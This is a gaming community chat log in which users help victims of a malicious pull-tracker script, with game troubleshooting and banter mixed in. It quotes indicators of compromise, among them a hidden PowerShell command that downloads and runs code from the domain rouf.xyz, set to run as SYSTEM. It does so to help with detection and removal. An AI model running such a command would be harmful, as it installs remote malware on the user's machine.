What the actual fuck am I looking at

[rancid loom]

And I'm dealing with pains

[steel swift]

Insanity

[proven sundial]

Wtf

[sudden sinew]

[rancid loom]

Bombardino Crocodilo

[golden zenith]

Yummer's Cookies.... wtf

Italian Brainrot World

[proven sundial]

Max just buy hydrox cookies

[rancid loom]

[steel swift]

They need to fire whoever accepted that design

[sudden sinew]

[rancid loom]

Also is that

Assassino Capuccino?

[proven sundial]

The real oreos

[hazy venture]

20 BUCKS?

[sudden sinew]

"Proudly"

[agile tusk]

hydrox mentioned 🗣️ 🔥

[hazy venture]

wait that's LEI

[steel swift]

Food is food, as long as it's good I ain't gonna complain

[hazy venture]

nvm it's 4e

[sudden sinew]

agree with you

[toxic atlas]

Nah that's about €4

[sudden sinew]

lei....

20/5

close to 4€

[hazy venture]

yes

[toxic atlas]

It's almost exactly 5 so it's easy to convert

[hazy venture]

dayum ok

[sudden sinew]

First time ik Max lives in Rumania

[proven sundial]

RUM

[toxic atlas]

It wasn't a secret lol

[proven sundial]

https://tenor.com/view/jack-sparrow-hillywood-the-hillywood-show-hilly-hindi-johnny-depp-gif-11568764

Sorry thinking too much about a good drink

[rancid loom]

Missed an opportunity to say RAMania

[sudden sinew]

ROMania

[sand summit]

I've been trough the doc files and reddit post and only found that event 4100 in event viewer. I also checked task scheduler and tried powershell script and return nothing. Does this mean no malicious code is running in my machine after using that tracker? or maybe I need to check something else?

[rancid loom]

Either way if you already ran the tracker it may already be rooted in your system

So it's recommended to reinstall Windows at best

[steel swift]

Send the event screenshot

[sudden sinew]

a reason why you do not use a 3rd party tracker to analyze your game's data

[agile tusk]

let us see the errors in event viewer

[rancid loom]

also holy frick so many users using pull tracker

[steel swift]

I am pull tracker user

[rancid loom]

Anyone counting the instance for this issue?

[sudden sinew]

they don't even know it's illegit they just enjoy that tool

[toxic atlas]

So many running a random command off the internet with admin

[golden zenith]

the amount of pekcak pull tracker user is normal

[agile tusk]

a lot of people use the script to detect the stuff in task scheduler but it doesnt work. what you need to do is find it manually by yourself. @upper wind

[sudden sinew]

wish to become you

[agile tusk]

one person used script > nothing > told to find it manually > bro was indeed cooked

[sweet rover]

Finally the chat are alive again

And its dead

[hazy venture]

yes

[sudden sinew]

yes

tech support is dead

[hazy venture]

https://tenor.com/view/hamster-do-a-back-flip-gif-15498679784377498556

[rancid loom]

Wdym we're always dead here (inside)

[steel swift]

Speaking of 3rd party app, my Hoyobuddy still doing auto login for the last 2 years, even though I haven't touch mihoyo game for a while

[proven sundial]

I've applied for 23 jobs

Todau

[steel swift]

Guess their token never expired

[versed nimbus]

wtf

did you quit like a week ago

[hazy venture]

wtf

[proven sundial]

Uhuh

[golden zenith]

yea he did

[rancid loom]

Ye he did

[versed nimbus]

why

[sand summit]

It's this one, no creating script or something

[sweet rover]

Im going to complet reset my device now guys, wish me not to messed up again

[steel swift]

Working is no fun

[steel swift]

cooked

[rancid loom]

sorry I was typing on the phone so I was slower to notice

[golden zenith]

imagine your boss wipe your 270vm for the work & called it a whoopies

[hazy venture]

i thought that was max issue?

[golden zenith]

[steel swift]

nah xomori is vm guy

[versed nimbus]

vm?

[golden zenith]

Virtual Machine

[hazy venture]

virtual machine..

[steel swift]

max is linux and data guy

[sudden sinew]

yes

[hazy venture]

huh..

[hazy venture]

wifeyyyyy wdymmm :(

[rancid loom]

wdym it didn't create a script, it tried to create one hence the error

[sudden sinew]

overloaded issue

[hazy venture]

awwww

welp

[toxic atlas]

oh
rouf.xyz was taken down

C&C server for malware is gone

[agile tusk]

If you don't see any events there, right-click on Operational, then click on Enable Log

Right click on Operational, select Find... , and in the Find what box, search for the following:

rouf.xyz

HKCU:\Software\Orutime\Lethreme

HKLM:\Software\Orutime\Lethreme```

[cobalt furnace]

can you change your password when you use a gmail account to login?

[steel swift]

no

[severe ibex]

When is PayPal going to be fixed?

[steel swift]

ask dev

[toxic atlas]

are you using Google login? or mail login?

[cobalt furnace]

google login

[agile tusk]

[rancid loom]

iirc Paypal payment method is currently suspended

[wild atlas]

anyone experiencing fps drops after the patch?

[toxic atlas]

then you gotta pin an email address first to the account
either from the in-game account center, or from the gryphline account center by logging in with google 3rd party login

[rancid loom]

Nvidia?

[wild atlas]

yes

[golden zenith]

What your Nvidia driver ver.

[steel swift]

Google login is ok

[toxic atlas]

after that you'll be able to set a password

[rancid loom]

what driver version?

[wild atlas]

the latest one 595.71

[golden zenith]

REVERT

[rancid loom]

then roll back to the previous one

[toxic atlas]

downgrade to either 591 or studio drivers

[rancid loom]

that shit is currently buggy rn

[wild atlas]

dam... what happend

[sand summit]

well the thing is I only found this rouf.xyz in event viewer, not the other two below

[hazy venture]

+1 to the counter guys..

[rancid loom]

another one to the counter

[toxic atlas]

AI Drivers, that's what happened

[cobalt furnace]

wait im kinda confused cause when i login i just straight up use this one. is this what youre referring to?

[wild atlas]

... f

how yall revert

[toxic atlas]

yeah
your gryphline account is only bound to google
you gotta bind it to an email address as well, or it'll be pain to do later

[steel swift]

Login with Google to HG account center > link an email there > set new password

Why even bother

[toxic atlas]

or just from the in-game account center, in settings

[cobalt furnace]

[rancid loom]

okay so it's like this:

you should have a linked email but currently since you used google to sign in to the game, u only have a linked account

@cobalt furnace

[cobalt furnace]

so i gotta use 2 gmail accounts right

the 2nd one for linked email part

[agile tusk]

try these keywords instead Orutime and Lethreme. lmk if anything pops up

[steel swift]

1

[golden zenith]

in your nvidia app under drivers > scroll down and you will see your old drivers > click the 3 dot & reinstall

[rancid loom]

just one

[cobalt furnace]

i tried linking the one i used but it says that its already registered

[rancid loom]

oh brother

[toxic atlas]

that means you have 2 gryphline accounts
one by mail
one by google

[wild atlas]

thanks dude

[cobalt furnace]

i mean i did have a question back then about my account wait

[hazy venture]

mine says that what do i do (despite me loging in with google)

[cobalt furnace]

this

it might be related to this

[rancid loom]

I created my Linked Email first before associating it with my Google

[hazy venture]

wdym?

[toxic atlas]

@proven sundial malware C&C domain is gone
rouf.xyz got nuked

[rancid loom]

meaning, I created a Gryphline account first and then I linked my gmail after

[toxic atlas]

so today's the last day

[proven sundial]

Quick i will take the domain

[hazy venture]

so what do i need to do rn i'm confused

[cobalt furnace]

this was in jan 28 btw i cancelled it cause no one answered that time

i sent an email to support but no reply so far

for clarification

[toxic atlas]

yeah so what you need to do
assuming your game data is on the google-bound account

[rancid loom]

you already have a linked email on your Gryphline right?

[toxic atlas]

login into that account that's pending deletion
change the email address on it (replace the last part from @gmail.com with @googlemail.com)

[hazy venture]

i only remember clicking google icon when logging in the game

[toxic atlas]

then delete account

back on the google-bound account, bind the proper email address, with @gmail.com

[hazy venture]

i do have a grypline account that i created yesterday cuz of weird login rewards

[proven sundial]

Thanks for letting me know i have to code a lot

[hazy venture]

wdym delete.

[agile tusk]

let us know if u made a xomori-approved pull tracker

[sand summit]

Nope, noting found here

[golden zenith]

Xomori Logger that you wouldnt expect

[proven sundial]

Not a bad idea ...

[cobalt furnace]

yea. i logged in using my same gmail through this instead

[hazy venture]

so my acc will be gone? no thank you i love my laevatain..

[cobalt furnace]

and now im here

[toxic atlas]

yeah, so your game data is most likely on the google-bound account

[cobalt furnace]

yep

[toxic atlas]

log back into the google account in game

[sand summit]

maybe it's already implanted in my system idk

[agile tusk]

are you on task scheduler or event viewer right now?

[cobalt furnace]

so i can safely delete this gryphline account without losing the progress on my google bound account?

[steel swift]

Should be

[toxic atlas]

in browser, go here
https://user.gryphline.com/
login with the mail+pass
change the linked email address from @gmail.com to @googlemail.com (verification will arrive in the same inbox)
cancel account

then from game
go into settings, account center
bind the @gmail.com address
then set a password

[toxic atlas]

yeah

[proven sundial]

Anyway see you need to make simulations and such i'm tired AF

[steel swift]

Why even bother making password account

[sand summit]

I'm on event viewer rn

[drowsy cipher]

Work is driving me insane ahhh

[agile tusk]

alright lets move on to task scheduler.

Check the tasks that start with "Register-" by right clicking on the task and selecting Properties

Open the actions tab and see if any have malicious code, similar to:

"-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command “iex (irm ‘rouf /./ xyz/uw’)”```

[toxic atlas]

malware doesn't create scheduler tasks without C&C domain
so if the command was ran after the domain was taken down, it'll only be that one registry component

[sand summit]

Also when I checked tak scheduler I didn't find any register name that has action like this

all the actions are named Custom Handler

[cobalt furnace]

aight i changed the emails from gmail 1 to gmail3 and ill use gmail1 for my google bound account now

[agile tusk]

thanks for letting me know. i just wanted to make sure if theres no need for an OS reinstall. its time-consuming

[sand summit]

this tbh

[agile tusk]

when was the last time you used the script, if ever? we have new information that the domain is taken down just very recently.. but that doesnt erase the chances of the script being ran before

[drowsy cipher]

oh yeah i read up on the script earlier and its the rouf.xyz thing isnt it

[toxic atlas]

yeah, that domain
i do not know when it was nuked, but it doesn't exist anymore

[drowsy cipher]

i only skimmed most of it but that part did not look legit at all to begin with, it touched parts of your system it would never need to read your pulls, which leads me to emphasize again:
read scripts before running them

if you dont know powershell feed it to claude and ask it what it does, at the very least

[steel swift]

Asking gacha player to read?

[drowsy cipher]

I am a gacha player, I read

[agile tusk]

its ironic. im a gacha player but i also took up a course for pre-law. i should be reading shit

[drowsy cipher]

currently its "seeing like a state" by James C Scott

[proven sundial]

I'm running c in my head i need to headshot myself

[sudden sinew]

I do read, I'm gacha player too

[wheat turtle]

asking gacha player read is like making nvidia driver without ai

[drowsy cipher]

just dereference that pointer bro

[sudden sinew]

AMD:

[sand summit]

based from my browser history, it should around 02 Mar to this day and btw since when was the site created?

[agile tusk]

i believe around launch week of endfield, so a good 1 month of uptime

[drowsy cipher]

I know Im old, possibly the oldest in here but damn dont people read anymore

[sudden sinew]

imagine your daughters sigterm it

[wheat turtle]

how old? in 40s? or 60s?

[proven sundial]

Nooooo

[drowsy cipher]

late 30s is enough to mog everyone here

[steel swift]

WE dont read while doing gacha stuff

[wheat turtle]

[sudden sinew]

HSR mobile player reaction:

[wheat turtle]

good luck trying to mog me man i know kung fu of Asian parents kung fu

[sand summit]

And after using that website, I've noticed a strange powershell popup a day after turning on my machine

litterally cooked atp

[sudden sinew]

Got asian parents too

[steel swift]

Isn't HSR just a gear farming simulator

[rancid loom]

I think the script is already dead in this case

[sudden sinew]

lore thing too

[rancid loom]

but since it ran for that long

[drowsy cipher]

its this part

[rancid loom]

who knows how many data they already got

[sudden sinew]

and yes one account on gacha and one account to read lores, then battle and do the reverse

[wheat turtle]

it can still be active even when site is down

[drowsy cipher]

it schedules powershell execution of the thing

[sand summit]

idk it's popped up so fast I can barely see the messsage tho

[rancid loom]

-UserID "SYSTEM" -LogonType ServiceAccount -RunLevelHighest

[toxic atlas]

it is still active if it was ran while the site was up

if it was ran after it was taken down, it's only that one registry entry

[drowsy cipher]

yeah its very obvious something is VERY wrong with that script

[rancid loom]

this code alone is enough as a redflag

[agile tusk]

[light flame]

Hiii, is there something I can do about the ressources loading forever ? The game doesn't load at all, it just run empty.

Yesterday I reinstalled which corrected my previous bug but now I havd this

[steel swift]

HSR lore is like pretty short though

[wheat turtle]

ah welp i was safe cuz i didnt rolled any banner other then standard and don have much friends to show the rolls

[rancid loom]

-DontStopIfGoingOnBatteries, this is one fcked up script man

[sand summit]

Is there any steps to prevent further dmg?

[rancid loom]

[sudden sinew]

"short"
proceeds amphoreus the 4th time

[rancid loom]

if you're stuck on releasing resources, check the pins

[tall acorn]

switch to DX11 and back to vulkan

wait for the game to load afterwards

[drowsy cipher]

i only took a screenshot of a part of what someone posted on reddit, but yes. let this be a lessen to scan scripts you run, no script should EVER schedule anything

at least not one that is supposed to read your gacha pulls

[rancid loom]

or better yet, don't just run any program you find in the internet, especially if someone who made isn't too well known

[drowsy cipher]

the damage is done for some so im preaching to the choir but it needs to be repeated and beaten like a dead horse

[rancid loom]

think before you click as they say

[steel swift]

I only played until Penacony sadly

[drowsy cipher]

well that kind of makes github a malware distributor

[rancid loom]

fair but still just think before you click

the internet is free to do research before you do anything stupid

[proven sundial]

You can run it through my program

If need be

[rancid loom]

or yeah you could just run it on a VM first

[steel swift]

Xomori

[drowsy cipher]

i am going to admit however, that nearly every game has a site like this and i suppose at some point you let your guard down because the last 4 gacha tracker didnt do anything so why would this one

[tall acorn]

pull -> your information
tracker -> of your sensitive data

[sudden sinew]

xD

[drowsy cipher]

but alas

[rancid loom]

that somehow eliminates the risk

[tall acorn]

there's a lot of unverified gacha trackers out there that will do the same exact thing more or less

they're just not commonly used and aren't as popular as the year old ones that are reputable

[light flame]

The game doesn't start either in DX11

[wheat turtle]

u dont have to use pull tracker if u dont pull on the game

[tall acorn]

if it isn't working for you,

navigate directly to the endfield exe, right click on it and check the box in the properties tab, afterwards click apply and launch the game from the exe directly, @light flame

paste this into the leftmost path bar %ProgramFiles%/GRYPHLINK/games/EndField Game

[soft comet]

Hey i want to add that putting

TZ=UTC %command%

In launch options fixes a bug that crashes the game sometimes when timers are involved, like credits shop, regional management, and elastic goods trading. I still need to send the player log and report to support but based on the errors, this should fix it until they do.

[agile tusk]

exact sentiments, hence why me and my friend used said tracker

[toxic atlas]

or at least if you do don't just run every fucking command on the internet as admin

[drowsy cipher]

just for shits and giggles i pulled the zzz tracker script and here we can see the only thing it accesses is the game path cache

[tall acorn]

the major endfield one was one of the earliest, barely verified and unreputable

[grim charm]

Hmm, this is the first time I've ever seen crashing reported related to in-game timers. I'll look into this, thanks :3

[sudden sinew]

that's why Linux user hate run as root

[tall acorn]

barely verified as in many people were using it, and there likely wasn't any malicious code when it first released

[soft comet]

I can send you the player log too if you are curious

[drowsy cipher]

even with minimal knowledge its not hard to spot when a script is doing something it really shouldnt be doing

[grim charm]

Sure

You can DM it to me so I don't lose it

[wheat turtle]

this one is zzz rng moe?

[drowsy cipher]

yes

[wheat turtle]

so its safe?

[drowsy cipher]

i see nothing potentially harmful in the script, it really only finds the game dir and reads stuff from the cache file

[wheat turtle]

how about the gfl2 one exillium moe that is also down

then again after reinstalling windows in july i didnt used the site

[drowsy cipher]

well if its down i cant check the script well

[steel swift]

Ah.. miss my gfl

[drowsy cipher]

im so sad they did so little with the xcom combat and its just "deploy 416 and auto"

[wheat turtle]

[drowsy cipher]

but i cant drop it because ive been following the story for a decade now

and i need to see skk marry kalin

if it doesnt happen i will get upset

[steel swift]

I didn't drop it because I want though

My phone dead, all data gone with it

[light flame]

Still nothing
It keep running empty

[drowsy cipher]

your sunborn id?

[steel swift]

I dont remember it

[wheat turtle]

bruh

[steel swift]

I have bad memory for this kinda stuff

[drowsy cipher]

you should at least remember the email to recover...

[vernal flare]

did some people confirmed what's the malware type from the endfieldrecords website? since I only see people warning us

[wheat turtle]

i have all my mail and game passwords in a seperate old laptop that barely runs and never connected to the internet

[drowsy cipher]

i cant tell you what exactly it does but it runs a scheduled powershell task

[steel swift]

I have so many emails

[drowsy cipher]

i have like... 4? it used to be 5 but one provider shut down

goodbye rbcmail.ru

[sudden sinew]

[steel swift]

I just read if you paid Linux enough money, you could get [e-mail]

[drowsy cipher]

i have a "personal" one for signups for games/forums/whatever, an "official" one with my name that i use "professionally", a gmail because google and a "shitpost" mail i use whereever i dont want to use one of the others

[agile tusk]

you might be interested

[drowsy cipher]

i already saw enough on this post
https://www.reddit.com/r/Endfield/comments/1rjx5v6/endfieldrecords_dot_com_pull_tracker_malware/

[steel swift]

I used to join Google Learn to Earn for their merchs, so I need new email for almost every different event

[sudden sinew]

imagine being like me one for ads and for plugins
one professional
one for alias use

[vernal flare]

Been trying to track it down so far, I found a trojan virus, I constantly run full scan at my pc since that issue was released to the public. I know some malware only run when the device is turned off. But meh still planning on investigating this malware instead of wiping my pc

[drowsy cipher]

i havent read all of the reddit post but it does seem to have some info on checking and removing, not sure if thats more "current" than what people here have been saying. but i think it should be removable without having to reinstall windows

[sudden sinew]

imagine someone uses you to be able to crack your system's ring -2

[drowsy cipher]

it doesnt seem very sophisticated

[sand summit]

Well ig for now I'll just start reinstalling and manage all of my accounts who's connected to corresponding apps

[sudden sinew]

it isn't until I say ring -2 means full control unless you plug power off completely

[drowsy cipher]

no im talking about the endfield thing specifically

[sudden sinew]

oh I thought you replied to mme sry xD

[drowsy cipher]

all good

[rancid loom]

question, this coding is on Javascript am I right?

[drowsy cipher]

powershell

[steel swift]

No

[vernal flare]

I still doubt it isn't the malware. Its either I clicked on some dumb founded website that injected trojan into my pc despite me having malwarebytes run 24/7 and windows security I found this

[sudden sinew]

no

[drowsy cipher]

its a ps1 scipt

[rancid loom]

these ones?

[sudden sinew]

ps1 is powershell

[rancid loom]

oh

[steel swift]

If it's .js I would be able to read it

[drowsy cipher]

check the details on what file its supposed to be. defender does do a lot of false positives

[sudden sinew]

if it's js it looks very cpp-ish and has const let var instead of solid types and struct

[drowsy cipher]

if it was .js i would have projectile vomited at line 5

[rancid loom]

not yet familiar with ps1 but good to know

[sudden sinew]

if it was .ts
... gl identify it's a script or a video file

[drowsy cipher]

spooky~

[sudden sinew]

eeeeeewwwwww

[sudden sinew]

they even ffmpeg recording

[drowsy cipher]

no thats one of mine actually

[sudden sinew]

oh

[steel swift]

what the hell is that

[sudden sinew]

[steel swift]

I can read it so it must be a common stuff

[vernal flare]

It was a zip file, It's probably from an ad that some website forces you to click but yeah thanks

[sudden sinew]

ps1

[drowsy cipher]

its for converting 4chan soundposts into webm with audio...
filename[sound=audiofile.mp4].webm
its grabs the audiofile and ffmpegs it onto the video

[steel swift]

I'm not familiar with 4chan sadly

[sudden sinew]

oh

[drowsy cipher]

ive been there for specialized topics for over two decades and im not going to stop

[sudden sinew]

nerd over nerds

[proven sundial]

A nerd must be properly nerded

And a kit must be provided

[wheat turtle]

never call a helpful nerd nerd unless uwanna get hacked boyo

[sudden sinew]

and a nerd of nerd is properly nerded of knowing nerds and their doing

[proven sundial]

https://tenor.com/view/anime-glasses-push-nerd-gif-4899021

[drowsy cipher]

i made that script when vtubers got big because none of the boards that talked about them had audio webm support so it was all soundposts and i wanted to repost them elsewhere

[proven sundial]

That's cool

I have been doing cpu optimizations all day